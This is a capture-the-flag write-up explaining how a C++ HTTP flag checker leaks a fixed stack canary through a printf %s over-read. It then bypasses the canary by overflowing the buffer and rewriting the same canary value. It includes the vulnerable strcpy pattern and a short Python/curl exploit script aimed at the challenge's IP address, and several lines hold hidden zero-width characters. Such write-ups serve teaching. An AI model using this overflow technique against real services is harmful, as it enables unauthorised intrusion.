← Back to Writeups
CUSTOMEasypwn

Канарейка — static canary leak via buffer over-read

XESXOR9/2/20263 min read
#pwn#custom#easy#buffer_over_read#canary_rewrite_bypass#static_canary_leak

Канарейка — static canary leak via buffer over-read

Platform: bug_makers | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-01 | Status: Solved Techniques: buffer_over_read, canary_rewrite_bypass, static_canary_leak

Summary

Task: a C++ HTTP flag validator (GET /api/check?flag=) echoes input via printf %s. Solution: at exactly 32 bytes the echo over-reads past a char[32] buffer and leaks a FIXED stack canary (22818c2b); overflowing while re-writing the same canary verbatim bypasses stack-smashing protection and returns the flag.

Канарейка — bug-makers (pwn / web)

Description

Авторы написали «супер-быстрый» бэкенд проверки флага на C++ — первый раз на этом стеке. Говорят, что даже если где-то есть баг переполнения, за ним стоит защита от перезаписи стека (канарейка).

A "super-fast" C++ flag-validation backend exposed over HTTP. The description hints the authors are new to C++, and claims that "even if there is an overflow bug somewhere, there is stack-overwrite protection (a canary) behind it."

  • Target: http://31.207.77.216:4051
  • Endpoint: GET /api/check?flag=<value> (GET only — POST returns 405)
  • Flag format: BugCTF{...} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The frontend simply forwards the flag query parameter to /api/check and prints the response text. Normal replies:

  • Wrong flag: <your input> — echoes the input back (via printf %s)
  • Correct flag: <FLAG> — on success

Recon

Fuzzing the input length revealed a sharp boundary at 32 bytes:

n=31: Wrong flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
n=32: Wrong flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA22818c2b
n=33: *** stack smashing detected ***
  • n=31 → clean echo.
  • n=32 → the echoed input grows by 8 extra characters: 22818c2b.
  • n=33 → the process aborts with *** stack smashing detected ***. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis / Findings

The backend logic is approximately:

c
char buf[32];
strcpy(buf, flag);
printf("Wrong flag: %s", buf);   // over-reads when buf has no NUL terminator
  1. Buffer over-read leak. At exactly 32 non-null bytes the buffer has no NUL terminator, so printf("%s", buf) keeps reading past the buffer into the adjacent stack slot, dumping the next bytes until it hits a NUL. Those bytes are the ASCII string 22818c2b.
  2. The leak is a static canary. The value 22818c2b is constant across every request — not a randomized glibc canary, but the authors' fixed, predictable "stack-overwrite protection" sitting right after buf[32].
  3. Overflow guarded by the canary. Writing even one byte past offset 32 corrupts the canary and triggers *** stack smashing detected ***, which is why n=33 aborts. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the memory layout is: char buf[32] immediately followed by the static 8-byte canary 22818c2b.

Exploitation

Because the canary is fixed and already leaked, we overflow the buffer while re-writing the same canary value in place. The smashing check then passes, the overflow reaches the success/compare path, and the validator returns the flag.

python
#!/usr/bin/env python3
import urllib.parse, subprocess

canary = b"22818c2b"
payload = b"A" * 32 + canary          # 32-byte buffer + identical canary
q = urllib.parse.quote(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

out = subprocess.run(
    ["curl", "-sS", f"http://31.207.77.216:4051/api/check?flag={q}"],
    capture_output=True,
).stdout
print(out.decode())
# => Correct flag: BugCTF{REDACTED}

Result:

Correct flag: BugCTF{REDACTED}

Any amount of trailing padding after the canary also works — the only requirement is that the 8 canary bytes are written back unchanged. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍